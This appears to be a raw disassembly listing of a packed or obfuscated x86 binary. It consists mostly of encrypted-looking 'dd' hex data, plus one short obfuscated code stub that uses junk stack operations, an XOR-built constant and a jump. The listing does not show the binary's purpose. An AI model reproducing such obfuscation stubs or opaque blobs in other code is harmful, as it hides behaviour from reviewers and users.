0EEDA16B8h, 0FFC50305h, 384D9BE0h, 4D6D4703h dd 2714BA47h, 49E0C736h, 0F8BF911Bh, 0B6733F70h, 65F36575h dd 0B4165E3Eh, 297AE916h, 0B3B6E251h, 4C55A3Fh, 95EEE939h dd 0FC92C67Eh, 89468D13h, 0A36EAE7Ah, 81018214h, 0E5611E0Fh dd 7FE23179h, 4597BB42h, 0C6D75D11h, 71CFFF37h, 9D518756h dd 0C48D8D39h, 5105EEDBh, 180FF081h, 895E378Fh, 0E926558Dh dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0FFDB6FE2h, 0BADADDB5h, 284096A6h, 80585C7h dd 740C05E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 2B55EFC3h, 0E905659Dh, 3D85C705h dd 5E916h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0EA5FC356h, 0FFAFBF1Dh, 0E915DDB5h dd 16B65605h, 0C595FF58h, 6A05E90Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A120C357h dd 270C4F58h, 6AA181h, 1E9595FFh, 0C08B05E9h, 96991FEBh dd 0D032138Fh, 44DA8634h, 35BD32EEh, 2AADCFC1h, 51EB309Dh dd 0D3B71D72h, 5D3EC5E0h, 7E804h, 9AA10000h, 921CC58Eh dd 4BB966CEh, 0B70F5A2Ch, 40C281F7h, 51000071h, 0B85EF78Bh dd 1C1Bh, 0CE9h, 0F623B100h, 8615B4C4h, 9F112919h, 0E932FF4Eh dd 0Ah, 25AA1C3Dh, 0A415E232h, 15F867Eh, 0E9037D95h, 8CC78105h dd 0F588319h, 0EF81DEBFh, 7AC3B9E4h, 27B9B58Bh, 0F78105E9h dd 46AC8BEEh, 89D9B70Fh, 0F60603Ah, 0BD8BFEB7h, 5E9004Dh dd 0EA816161h, 543166C3h, 0C281CF8Ah, 543166BFh, 0EE8h dd 6C8A1900h, 42239DAFh, 0EFC0495Ah, 661B3BC6h, 2D4ED381h dd 1E8835Bh, 1F850Fh, 0B58B0000h, 5E93111h, 29E9h, 1951E000h dd 0E842992h, 85C3F4D9h, 1714C456h, 15FF9BFh, 0EB81669Fh dd 62E9F5A9h, 41FFFFFFh, 0B2298879h, 221741ECh, 0ABE98492h dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h dd 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h dd 1E80097h, 3D94E7A6h, 0CCAC8332h, 36E91CF6h, 68000013h dd 5EEDF41h, 0FAA272E9h, 0E06468FFh, 68E905EEh, 68FFFAA2h dd 5EEE148h, 0FAA25EE9h, 0E26A68FFh, 54E905EEh, 68FFFAA2h dd 5EEE2E8h, 0FAA24AE9h, 0E3D968FFh, 40E905EEh, 68FFFAA2h dd 5EEE46Ch, 0FAA236E9h, 0E53568FFh, 2CE905EEh, 68FFFAA2h dd 5EEE5F1h, 0FAA222E9h, 0E75A68FFh, 18E905EEh, 68FFFAA2h dd 5EEE853h, 0FAA20EE9h, 0E9A368FFh, 4E905EEh, 68FFFAA2h dd 5EEEAF1h, 0FAA1FAE9h, 0ECDC68FFh, 0F0E905EEh, 68FFFAA1h dd 5EEEE1Ch, 0FAA1E6E9h, 4B72B2FFh, 0DD0C482Eh, 6E9DDAC0h dd 0FD306B51h, 91BCFAE0h, 48727074h, 0DCC2DF0Ah, 7157749Bh dd 4EA0732h, 0AD7A97CAh, 0C4581ECCh, 0D661327h, 0EE155630h dd 88C22351h, 29632755h, 0BF866CA7h, 0B6954E2h, 0B9B869BBh dd 3274229Ah, 0BC16C986h, 6582E446h, 2F6AD42Ch, 309E4BFCh dd 4D9B2F6Dh, 1D9A48EBh, 211C32F7h, 0F12E08ABh, 626D25C2h dd 811E4988h, 20D8FBC7h, 1A5BFC13h, 0FB2E6943h, 876603CDh dd 452611D9h, 47D7h, 176F9D00h, 0CFD504A7h, 9BEE3E39h dd 36E411AEh, 1C32BC2Dh, 1F40E359h, 209E2D71h, 983BB113h dd 209EA4EAh, 17B42A13h, 9EFBC75Fh, 5BFC1320h, 53CF911Ah dd 0FBD54526h, 38DC8DC0h, 34A10D51h, 9D99BA57h, 5F000000h dd 661488C2h, 16C91A20h, 0A8D638AEh, 4D7BA6E4h, 0EE1C4F89h dd 0A0BDF02Ah, 0C91715E6h, 0F0235D16h, 80B3EDD3h, 306D4752h dd 0D32B6401h, 0B912C063h, 0FD1C31F4h, 0D9316A87h, 1618C669h dd 1819C6B2h, 0E725FFA2h, 43729FBCh, 0C1FFDCCh, 4B31CE18h dd 59B1E20Dh, 0EC6F728Ah, 10B638F4h, 41810000h, 0DB17FD1Ah dd 6CA98FACh, 0FF3A203Dh, 8BC9AFCCh, 0A33F4360h, 91AED917h dd 26436AABh, 0B9D60140h, 496699D3h, 0A9ED9B7Ch, 351327C5h dd 84C2FEDCh, 9EDCB659h, 492FD673h, 91BFDC0Fh, 4A7176Fh dd 32294D56h, 0A043B91Ch, 0B8DD17Fh, 0D00D1320h, 36D349A1h dd 0BDCE67Eh, 7A1B1320h, 478862FBh, 8B28F220h, 26C6E4ACh dd 0F1FC45h, 0E9C30000h, 87517FAAh, 88C2BCEAh, 25632755h dd 0E7C1CCFAh, 844E7CABh, 17DC2DE7h, 0F5CF16C9h dd 21508DBAh, 99C729F3h, 124C32CFh, 28623CDFh, 194006B4h dd 0D84E16C9h, 4C32D976h, 0A6B1DF12h, 1997D785h, 0A11716C9h dd 373CB04h, 1C478660h, 2A587FC0h, 7596C360h, 19E0A654h dd 29EE16C9h, 354555E6h, 54F1532Fh, 317F219Ah, 10BE751Ch dd 1320B14Eh, 0ABEB9950h, 331320B1h, 0DCF95BBDh, 38DB4BA3h dd 0C4F2215Eh, 0F305DFAh, 4A77C3E0h, 0E4251271h, 4BE5BBDh dd 19C648B1h, 204B89F9h, 3411BBEh, 97D5BBD8h, 0B2913B6Ch dd 0E8E06F72h, 0F932Ch, 0F71E5E00h, 89B8F4DAh, 1A49866Ch dd 0A9DC17FDh, 3D68A68Ch, 0ECC61C20h, 806683AEh, 15FB183Fh dd 0A88EABD6h, 511E3B6Eh, 0FAFCC270h, 0A9021327h, 60A17BCBh dd 78B69C39h, 104A304Dh, 0C292C0DDh, 63275588h, 0F3D9F629h dd 955987B6h, 424DD95Bh, 33DA61BCh, 3490B4D1h, 0AC4FBF17h dd 346F94D2h, 0D5029F01h, 209EDAB4h, 8CCB0F42h, 1E4CAE61h dd 18FDB754h, 661C32B7h, 162BC1F0h, 196BA6ACh, 0F51657C1h dd 955F8DB4h, 0D2ED133h, 0BFD84EDEh, 9431156Bh, 514FB9DAh dd 4977EDEEh, 21BA0F3Eh, 4DACF011h, 4316DF9Fh, 769DFE1h dd 69D9316Ah, 81B0ECC6h, 6796B7E4h, 96043529h, 9BDA3607h dd 7A19D370h, 0C0EBBF61h, 0B4E21550h, 0BE588EAh, 3B66A4D1h dd 9CD6BCD9h, 0DF943869h, 0E3DB7D0Eh, 0EAF27h, 133A7A00h dd 0A5D410F6h, 3665A288h, 0C5F83319h, 5984C2A8h, 10AA383Ch dd 0A48AA7D2h, 391F3C63h, 0CCB2CFFAh, 75425F92h, 0FBA0E694h dd 0D52E1327h, 5588C2F7h, 0A3E391B2h, 2B16C91Ah, 1A80C674h dd 980E16C9h, 0CAE19936h, 0B15F0272h, 1C31FC8Ch, 63F5CD2h dd 89CEFAEh, 0BD87DFAFh, 0A90AB85Bh, 0FD19DBC6h, 1F4E5987h dd 0A5A9B822h, 0EF1A5906h, 0C36F08Dh, 6B16C928h, 5000ABCAh dd 5040CFE5h, 30h, 0A7176F16h, 5C395604h, 0F851C32h, 30714B6Ch dd 7411DB09h, 7244F8Eh, 20540B4Dh, 1E518B13h, 0B1DC1B01h dd 0CAF5340Eh, 0FDB9752Dh, 0F900000Dh, 4A7176Fh, 0EC73B4E3h dd 7665D6C2h, 0B96125D3h, 0F76D16C9h, 4EFBA05Ah, 0C53B1C32h dd 0E4094822h, 721577AAh, 276482C4h, 0F9960C13h, 85B8F2CCh dd 15488268h, 878D0E7h, 5F623665h, 5BD5DDBh, 9C399BC6h dd 99B7C16Fh, 45BB19DCh, 5B8EC8A2h, 0EB1E583Eh, 0E44EA6BDh dd 76197BA6h, 32B74BC8h, 3465DB1Ch, 698B847Eh, 8D19D5CDh dd 5800000Dh, 0EED4F118h, 806683B2h, 11F71443h, 0A086A3D6h dd 161A3762h, 7DA8E6CCh, 12397A60h, 0A5D00FF5h, 3568A288h dd 0BC6A4B18h, 1327F8FAh, 0EECDAB04h, 16C91AD4h, 32C483DBh dd 9684030Bh, 4721C426h, 0E3ADDB0Ah, 796B1946h, 11C32BCh dd 0D40EE88Bh, 649E84A1h, 28CBFA37h, 2794347Ah, 0E244BA13h dd 0D5459DB4h, 72A38432h, 0C6A019DFh, 0DDBF5C87h, 8AA63667h dd 0C1B96F6Dh, 0D0F05h, 739ADA00h, 5347056h, 96C502E8h dd 25589379h, 0B9E42208h, 704A989Ch, 4EA0732h, 997F9CC3h dd 2C122F5Ah, 0D5A2BFF2h, 0F80046F4h, 358E1327h, 5588C257h dd 0F6296327h, 0CC3C7953h, 0C91A581Eh, 8EF06616h, 41F99660h dd 22D0407Dh, 16C91A5Ch, 5C8AEC62h, 2305798h, 0BDE19431h dd 0ACFF7695h, 40CFD3E4h, 708FCh, 176FC200h, 0EC2A04A7h dd 49F724C1h, 1C32EE5Ah, 0A5166695h, 2DCB4F27h, 9538AE90h dd 2F5E9A74h, 70863701h, 1907C97Fh, 78B29835h, 1D982CF6h dd 303FCAC8h, 0A14D9BA2h, 2E4BAD0Fh, 0ADDB0E48h, 27452D15h dd 40AA0213h, 0A3E39105h, 2B132745h, 612553B5h, 2F91F326h dd 4578B28Ch, 45B2F4A2h, 0C63C1327h, 0ACDBFC29h, 600EBDADh dd 1327611Eh, 0C0792AA0h, 7731CE72h, 19DF4156h, 6FF12298h dd 7E6F6D97h, 0C1ECA86h, 0A9E90000h, 437F6582h, 0D411F714h dd 67A288A5h, 0F3311734h, 3BA7ABC8h, 0F916417Fh, 8EABD213h dd 213E69A8h, 0B1CE013Bh, 115503E4h, 9D1327F9h, 88C26644h dd 0C4F21D5Bh, 0A66A98FAh, 7B0B396Ch, 0CE92195Ch, 0E240CFD3h dd 635h, 1AD4EEA8h, 83DB16C9h, 754F7013h, 19DD0B36h, 0B882B0DBh dd 0A0FFB956h, 2A1C32EDh, 0FD3711B4h, 5180ADCAh, 0CE08B639h dd 93874C3h, 0EA240AA7h, 1A7289B7h, 745907AAh, 0BA19DF01h dd 57771344h, 0CEC66F6Dh, 0B8B12h, 0EF165600h, 81B0ECD2h dd 12417E64h, 0A1D40FF5h, 35609E84h, 0E4CE1418h, 785E7BA6h dd 0DF31037h, 0A086A3CEh, 49163366h, 0FEF4BA68h, 0A1FA1327h dd 5588C2C3h, 1421C27h, 45E2ACDAh, 0C4F2255Fh, 4EFC1D34h dd 16C91A08h, 4E832096h, 0D3DC8427h, 0EEC840CFh, 8A5482B1h dd 58FCCEDh, 6F920000h, 5604A717h, 1C32ED60h, 0D2013EAEh dd 0D578DAA4h, 0EB8EC1FBh, 0C75A1CCAh, 26601327h, 88259BF3h dd 4DC1FBE1h, 27C7DF9Fh, 2C078613h, 0E029B856h, 0D9DFC388h dd 2D5D4F2Eh, 0A33B69CBh, 1327809Fh, 91E46D9Ch, 0FE2C5B98h dd 68BC8334h, 3088C15Eh, 4E6F1DC0h, 4519DF2Ch, 63002F6Bh dd 0ECDA0B81h, 3B6F6D2Bh, 0AC28743h, 4D8D0000h, 0E7230926h dd 78B59BB8h, 0B462C49h, 97D5BBD8h, 974B4F6Ch, 95B2DD1Bh dd 2A476EAFh, 0BDDA0544h, 4D6A9DD7h, 0ADF19F80h, 311327FFh dd 5A7BFAD8h, 0C91AEAACh, 0E17EF416h, 608EC1FBh, 6EF2655h dd 0D36CCF3Eh, 6C096B92h, 0E11F4C86h, 216513B6h, 0AD16C9BFh dd 17A7D537h, 622E7DF8h, 7E40CF76h, 4BDh, 30762445h, 0BE16C987h dd 7B7DAB48h, 0FD3C65A1h, 78DAA4D2h, 1A5C21DBh, 0B30B16C9h dd 3671A043h, 84D40532h, 0FAA8D572h, 1C3279B9h, 3A14B72Dh dd 0CAB0CD00h, 182F5D90h, 1D610FC0h, 0A1132753h, 7826C92Bh dd 19DC5FB7h, 0A890C137h, 676F6DDCh, 0A06B36Fh, 91D10000h dd 2B674D6Ah, 0BCF9DFFCh, 4F8A708Dh, 0DB19FF1Ch, 538F93B0h dd 0E1FE2967h, 7693BAFBh, 9265190h, 99B6E923h, 793DEBCCh dd 851327FFh, 88C24E2Ch, 29632755h, 892453F6h, 2F8B1CDEh dd 4F4AC49h, 5E8DD0A5h, 0EE2D2FDCh, 749B3D97h, 4F6CD081h dd 538D7310h, 7C240320h, 7440CF3Eh, 18Eh, 5588C23Ah, 1B9DD8B2h dd 0DD2A03DBh, 2B59BB76h, 480CC461h, 91BEDB0Eh, 0D8FCC270h dd 8C0216C9h, 0EE5EB6EFh, 3A7C2A4Bh, 0C416C9D8h, 0D684B14Eh dd 1C32E159h, 0A9416FE5h, 1320CE99h, 2F6B45DEh, 0CF0ED200h dd 4AAC76A4h, 0AEFD78ADh, 452607E2h, 6323D1F2h, 6B1320D6h dd 0E2A452F5h, 0EC1320D6h, 2CB8D976h, 7E000000h, 3960A17Bh dd 6BA4410Bh, 5200A313h, 1C322951h, 79113FB5h, 13200B49h dd 0FA3B15AEh, 740136D3h, 26C66937h, 0EE8745h, 0C24D0000h dd 0F11C5B88h, 6997F9C3h, 4DFB67A5h, 16C91A09h, 0FB295091h dd 763D931h, 0C3A9CCBh, 38DB0E48h, 1A256917h, 33A916C9h dd 0E01ADE96h, 0E34578B3h, 0FD286640h, 0C16805CFh, 0C8FF4207h dd 0E3165016h, 536A99C6h, 0EC8F259h, 346291CEh, 326B086Ah dd 19C76ADAh, 1C2F6338h, 7B55F86Eh, 956F123Dh, 0E88F2C57h dd 6899C402h, 6989D96Eh, 9D21DDD5h, 68000008h, 0FEE40128h dd 907693C2h, 21072453h, 0B096B3E6h, 262A4772h, 8DB8F6BCh dd 22498A70h, 0B5E01F05h, 4578B298h, 0CC7A5B28h, 1327FD8Ah dd 7BDDBB14h, 1AEAAC5Ah, 7EF416C9h, 51BDFBE1h, 0DF0F3677h dd 16C91A9Fh, 5806A91Fh, 16C91A16h, 0A3C02298h, 31609C76h dd 44AF803h, 8A16C91Ah, 2F15B214h, 78A5C2F5h, 43E1639Eh dd 3A1D249h, 2CDA7DDFh, 16C9266Ah dd 3361FE74h, 275588C2h, 0D9F62963h, 278FBh, 176F3B00h dd 0D55604A7h, 611C3231h, 0D8B2BDEBh, 13231F99h, 0C9B6CAAh dd 15B27CAAh, 2047675Bh, 86EF9013h, 268A7B25h, 2127545h dd 0EE3B0000h, 16C91AAFh, 711484DCh, 432D2150h, 456B577Ch dd 21BFEEA8h, 0CD431C32h, 0E316502Ah, 73A6E0C6h, 66D62E45h dd 1273A2C3h, 4D4821C5h, 62C4EB2Ch, 0BCCA0BC5h, 5ED419DCh dd 6D7C392Dh, 601C146Fh, 7A4h, 0EB082F6Fh, 7D9AC905h, 0E2B5A97h dd 9DBAED28h, 314E79B7h, 0BFFDB52Dh, 50917794h, 0E7260C29h dd 7FB99FBCh, 81622F4Ch, 27F293D3h, 0E4C21B13h, 275588C2h dd 53F62963h, 1AC28432h, 56CC16C9h, 0FC3D01B9h, 87693686h dd 40A216F8h, 0E1144E12h, 0A78A9AB3h, 65D237FBh, 0A7F77EDDh dd 0EFB5C01Fh, 0BEDF82B5h, 0C9144E10h, 0EB995016h, 16C914ABh dd 0BE5BBD33h, 0D510EA17h, 7A2605A2h, 7640CFD9h, 148h dd 286E1C3Dh, 0B616C918h, 29F33F1h, 82E4CF44h, 88C2B7E5h dd 8EF01F5Bh, 35629C60h, 7B29CCF7h, 16C91A3Bh, 0CEEB4DC3h dd 8CD280A1h, 1216C91Ah, 6EC6FF9Ch, 20AD5BFEh, 2E1C3223h dd 46F415B8h, 13200C00h, 0B6DD1E8Eh, 0BF5CBE88h, 0C536F07h dd 3A41320h, 0C5973972h, 27894526h, 4F000000h, 4A7176Fh dd 32294D56h, 1543B91Ch, 200B457Dh, 6411B213h, 26C69947h dd 939745h, 845E0000h, 20EA1847h, 88C25583h, 25632755h dd 6694C300h, 480C3A9Ch, 0A2ADDB0Eh, 0C4857173h, 53F0174Ch dd 0E300336Dh, 0C9C97029h, 15488216h, 0F767BFF8h, 778DA654h dd 63D91C2Fh, 7DA8E6C0h, 113C7A60h, 89E51AE0h, 0A5615969h dd 654h, 9BB8DF1Fh, 2D4A79B5h, 0BEDB0A47h, 4D6A9DD8h, 0E1FE2967h dd 6FAD05DDh, 412744h, 97D6BCD9h, 2F694F6Ch, 3112DFFCh dd 27F3C383h, 9472CB13h, 3C5984C2h, 5BCE00Fh, 78A3DA91h dd 8EBBF5DBh, 0A1BE2053h, 64A17B73h, 1A0046F4h, 188E16C9h dd 0F93319B6h, 628DCCh, 0A1D40ED2h, 53A684h, 0C6E70000h dd 0BA134397h, 81B17DE3h, 16C9AD3Dh, 0F95180BDh, 0BAED2783h dd 0F725C28Ch, 0B25588C2h, 0D37097D8h, 0F936101Bh, 35D29CCAh dd 3FE2154Fh, 6521EF1Eh, 0F474400Ch, 0C9D982C4h, 0F9960C16h dd 65103341h, 0B4DF1EF8h, 391FBC86h, 0D1AFCCFFh, 20h, 5588C211h dd 1AB28F27h, 40B116C9h, 61FE2566h, 0E514492Ch, 45596C6h dd 0BFA542DCh, 7355285h, 275588C2h, 0A548B810h, 32ED92F7h dd 0CB6EE41Ch, 9BDB89AAh, 1F1327C7h, 0BA84B2E5h, 694FEC62h dd 0F13BAD2Fh, 87F5C992h, 0E8220825h, 187087B5h, 5D5705A8h dd 0E519DCDDh, 0B8F2CC6Fh, 13C1E285h, 16C9F553h, 0A148E55Bh dd 0AB4E81BBh, 3B6990D1h, 111CD471h, 0A1CFF637h, 0A9013AD7h dd 46759639h, 6AC2916Bh, 0B36D0AA0h, 1C32FA3Eh, 0A181B228h dd 94698B3Eh, 506E09Ch, 91D10000h, 2B674D6Ah, 0BCF9DFFCh dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh dd 9265190h, 99B6E923h, 793DEBCCh, 851327F0h, 88C24E2Ch dd 0EA0B3855h, 0C91A7A3Ch, 0B20E8416h, 0C6AC4974h, 95B6598Ch dd 0C91AA7E7h, 14B12716h, 3B77515Ch, 7714DE0Ch, 35E35791h dd 16C91A71h, 77A5077Dh, 574D2887h, 0A0CDEA1Dh, 1A8DD17Fh dd 9B1116C9h, 0D7711FFEh, 326F40CFh, 35000000h, 4A7176Fh dd 325C3956h, 6C0F851Ch, 0B285392h, 2CE0AFDEh, 0EDE94F4Bh dd 3CD29650h, 9AD41320h, 25644A67h, 6896C100h, 520E3C9Eh dd 458h, 5588C292h, 0DBED1C27h, 0FD9E7259h, 417B61FEh dd 60B8F10Eh, 35734DF0h, 45A7D210h, 4E7CAFE9h, 0CBAE784h dd 1C321983h, 4FE7158Bh, 13203673h, 0CB92E384h, 0E353629Ch dd 66032B61h, 263ED987h, 53D745h, 7B9D0000h, 53366A1h dd 0D659E3Bh, 574CFA9Dh, 0AF1C3229h, 26000B39h, 84A56BE9h dd 10426C88h, 6B5711AEh, 8C1320ACh, 0A065C4F3h, 26A166B8h dd 0FD91D583h, 0A71D1320h, 0BDA0D50Ah, 5786C29Ch, 6F2F5F29h dd 6F1320FDh, 0D37D5CF9h, 0CD452630h, 0F2h, 5B88C293h dd 5E8CEE21h, 42F05C9Ah, 16C91A7Ch, 0A9D41282h, 0B0F6A447h dd 3E16C91Ah, 0E9C366C8h, 2CE481A8h, 0CBA2E68h, 16C91A4Ah dd 7CA3E454h, 0F415B81Ah, 0C91A0046h, 7B188E16h, 92C5FFC3h dd 174EBB75h, 4A8416C9h, 196628D6h, 0F26816C9h, 538D7390h dd 83DBF220h, 15C27013h, 0E1C3216h, 2CC9F834h, 7EB7D44Ah dd 0F213B626h, 1C6323D1h, 29671320h, 9330A6FEh, 0C697FED9h dd 99D44419h, 87610466h, 0D4011E49h, 6290BBFAh, 0D715FB98h dd 0A5F9BD6Bh, 8F0516CBh, 6B2AFC2Dh, 31296F72h, 31B75h dd 7FA6E600h, 11407C62h, 0A2D10EF4h, 31649F85h, 0C5F02E14h dd 743EA4A8h, 8EE0B36h, 9D83A0C7h, 3016335Eh, 0D9A6C3F6h dd 0F6044AF8h, 318A1327h, 5984C253h, 7CBB95B6h, 1A5D2151h dd 0EB6116C9h, 0A07AA74Eh, 3F093762h, 4F82BCA2h, 0A17B0432h dd 145F367h, 8D16C91Ah, 0DF18B517h, 9A741787h, 3802305Bh dd 0D26FA2DCh, 29EAF7A5h, 0A61C1C32h, 0BE2E078h, 74151320h dd 0C6E6AA01h, 9FA4526h, 0C1000001h, 4581AAE7h, 6D86B416h dd 0E9FC1A2Dh, 0AC49AB26h, 0AC5A7B7Eh, 16C91AEAh, 0FBE17EF4h dd 55608EC1h, 0E4123D7Bh, 59977D1Ah, 98C6F934h, 1A9FDF8Dh dd 0A91F16C9h, 1FB7E547h, 16C917EAh, 0CC7AEE28h, 16C9198Ah dd 1F3C9E14h, 0AED918F2h, 3319B680h, 97D785F9h, 1716C919h dd 0C29C3FA1h, 5F295786h, 0D6C177AEh, 0E58286DAh, 93F3222Dh dd 3EDA24Dh, 5DB5EE8Bh, 339C4AEDh, 7B1C3218h, 57AFE805h dd 22344E7h, 20121254h, 89269C13h, 0C68DC7CFh, 2ED14719h dd 0D312EC0Dh, 0A73678A8h, 42B816CBh, 5681BFA5h, 6F4184B3h dd 0E1BC2394h, 79B79D44h, 0B0F11D4Eh, 443C6F72h, 1DB88h dd 3F66A600h, 0D1003C22h, 6291CEB4h, 0F1245F45h, 85B0EED4h dd 347E6468h, 0C8AECBF6h, 5D436087h, 0F0D6F31Eh, 996683B6h dd 0F4440AB8h, 0F14A1327h, 5984C213h, 0E91C563Ch, 37772546h dd 6C16C91Ah, 0C91AF8BEh, 38900616h, 507E25C2h, 1C5B88C2h dd 5F8DB8F7h, 0A3D13395h, 5572A5DFh, 0CC08356Fh, 0F60D3B9Dh dd 7F3FED9Eh, 7F16C91Ah, 5604A709h, 1C322A11h, 3D892352h dd 775941Ch, 20A91559h, 0C1239913h, 9ECC4224h, 2B3243BAh dd 4AE71251h, 0DAF72A64h, 36D949A1h, 0B8F5225Ch, 2FF92789h dd 66B76592h, 1D19D845h, 0BE0E6FEEh, 912EA46Eh, 470B39AFh dd 9EACDA0Dh, 8963FA7Bh, 4B842148h, 32E083F3h, 1C3184FDh dd 23569101h, 3441EC1h, 88E4AEDCh, 0DA811E49h, 6994D3ADh dd 0EED4713Bh, 8F5381B4h, 0C0EF2B50h, 7725C892h, 13204C37h dd 0B1DF41B7h, 851F56CDh, 24B2C94Bh, 0D5023791h, 0C51D5673h dd 7091B255h, 2024FCC2h, 0E98C0213h, 20247B3Bh, 700D8313h dd 0DB14F1B6h, 0E487FD19h, 2934BB5h, 0B95CA2BCh, 0C9FC4B0Bh dd 40DD5316h, 0A4E7D88h, 0CAFD3867h, 6721D29Ch, 82680512h dd 0B0DF1B48h, 1D5C204Eh, 914303B1h, 0D54B16C9h, 8C3A4573h dd 16C991CAh, 0C4025ED4h, 3A5D6B99h, 70E7633Bh, 84F44C05h dd 0D091C0E1h, 9387487h, 693B2358h, 0DE4D12CCh, 0DB511C32h dd 78B791BEh, 1F77B04Dh, 355E0CAFh, 7119DB09h, 5D9EC301h dd 4472D436h, 70134680h, 0FD2B5A96h, 59858233h, 937CF1D4h dd 2F694FF6h, 4536CEFCh, 43FFE6B2h, 154F5520h dd 0A5DFC5E2h, 45804472h, 8900E412h, 4B7EB8ECh, 9A0E482Eh dd 0D69AAAECh, 0C8EF300Fh, 6A98FA70h, 3AEh, 33A1EE00h dd 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh, 0BDEB1654h dd 6290BBF9h, 230639Eh, 0A4D2013Eh, 4775A4E0h, 77646886h dd 14890000h, 0E6895624h, 4C681h, 0EE830000h, 24348704h dd 242C895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push ecx push 51770F36h mov ecx, [esp] add esp, 4 xor ecx, 5499D126h mov ebp, ecx pop ecx push 4D44h mov [esp], esp add dword ptr [esp], 4 pop ecx push 69E8h mov [esp], ebp pop dword ptr [ecx+8] mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_5461C3 ; --------------------------------------------------------------------------- dw 1831h dd 0B6722024h, 0C95D75AEh, 0F01CB8F2h, 0C50305EEh, 258AE0FFh dd 0C05753A3h, 13CD2043h, 4ECE7918h, 6D8E07E6h, 0D2F17B67h dd 315D0634h, 8D8D5619h, 5EEF1AFh, 0DE9h, 15224000h, 7B3FE764h dd 87878F4Ah, 0AFBF93CFh, 896B05EDh, 0E926558Dh, 819D0905h dd 0C705E92Ah, 0E9080585h, 6A0805h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 4D0908B2h dd 49C0930Fh, 8B662F6Eh, 3D85C7F9h, 5E916h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 5A85C356h, 0D0A8C552h, 5A4F764Ah, 64D958Bh dd 0B5FF05E9h, 5E9321Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 18C35646h, 0F46A0D6h, 0C8Ch, 6820F00h dd 89000000h, 0E910758Dh, 0C595FF05h, 8105E90Bh, 0DB3B3ACEh dd 0FF006A44h, 0E91E9595h, 0EBC08B05h, 70305C0Eh, 0A876CD8Fh dd 93E6B22Bh, 0E8A5CF49h, 12h, 65D6C7E9h, 23220E7Fh, 4246C19h dd 74B6D8E9h, 0AE95337h, 0F4000000h, 891926CFh, 1F30917Eh dd 0C0815846h, 5D38h, 68B0Fh, 0BD8B0000h, 5E91DDDh, 172DBEh dd 5D9D8900h, 0FF05E916h, 6D950330h, 5905E930h, 0FF12F181h dd 8D0F3552h, 6, 0C580FC60h, 0C18161A5h, 42BC507Fh, 48D9D8Bh dd 0F18105E9h, 30940355h, 26B99D8Bh, 88905E9h, 24E28166h dd 4E8837Dh, 0F01EE83h, 0FFFFBA85h, 0D78B66FFh, 9BA708EBh dd 5B22h, 2FE90240h, 6800000Ch, 5EEF41Ah, 0FB57BCE9h, 0F52468FFh dd 0B2E905EEh, 68FFFB57h, 5EEF6B9h, 0FB57A8E9h, 0F76868FFh dd 9EE905EEh, 68FFFB57h, 5EEF831h, 0FB5794E9h, 0FA1568FFh dd 8AE905EEh, 68FFFB57h, 5EEFAABh, 0FB5780E9h, 0FBEA68FFh dd 76E905EEh, 68FFFB57h, 5EEFD00h, 0FB576CE9h, 2AE141FFh dd 0F9B2185Bh, 0C584E72Ah, 944FB3F6h, 661D82C5h, 37B2D297h dd 54817D2h, 0D316E5A4h, 0A3E6B56Ch, 36BB8A41h, 5F0DAD5h dd 759BD850h, 5F97F980h, 0A85FC1F9h, 28E505EBh, 0FE652242h dd 830CDB9Ch, 74520970h, 90778806h, 8462197Dh, 0DCD1E19h dd 0AB96E3A8h, 0F76A0D22h, 7B3858D7h, 9D54BBCEh, 7E0CB2BFh dd 32AFD857h, 3EFBBE1Fh, 8FCC7A58h, 534EA700h, 0D8577E6Bh dd 9D45CE14h, 6D8577Eh, 0F4DED9C0h, 9FD8577Eh, 1E2D7B59h dd 57D88C46h, 44h, 5F5AB3B8h, 0DDBEF777h, 8EFCDA20h, 1D18FFF0h dd 0E3A80890h, 0B972D4E7h, 0A73816FCh, 0C0F7A461h, 0DF297BA1h dd 1320FE76h, 0D857B7AFh, 0A1035010h, 0D88BE1AAh, 0E2CBh dd 0A6A1FA00h, 0D857BB3Ch, 0A432167h, 23E097F9h, 0DF9C57BCh dd 191DFB32h, 0DBEB567Bh, 6A4D2616h, 0AF8DA2A0h, 0B26F288Ah dd 3591F205h, 0C856B0F2h, 88456544h, 3D9FC4A2h, 0A384AF7Eh dd 0E8DDBE6Bh, 0B3F6C586h, 0EED8D351h, 99DDBE62h, 0C6763353h dd 555037C8h, 0E3A88FA0h, 550E7487h, 43D4B298h, 0ECA22EFDh dd 0B4192C13h, 0B9B41FFDh, 0E64316D1h, 0AD6CCDE0h, 14773ECFh dd 3B4E3555h, 0C34C1BD6h, 0B3914AB0h, 7F72298Eh, 0CBD2CF7Ch dd 0D177E7AAh, 0DF000009h, 0AAEDBC7Fh, 79BC8B44h, 4D905F16h dd 206332E9h, 6C3100BBh, 0B56CD118h, 8742A3E6h, 570E75B8h dd 24E34588h, 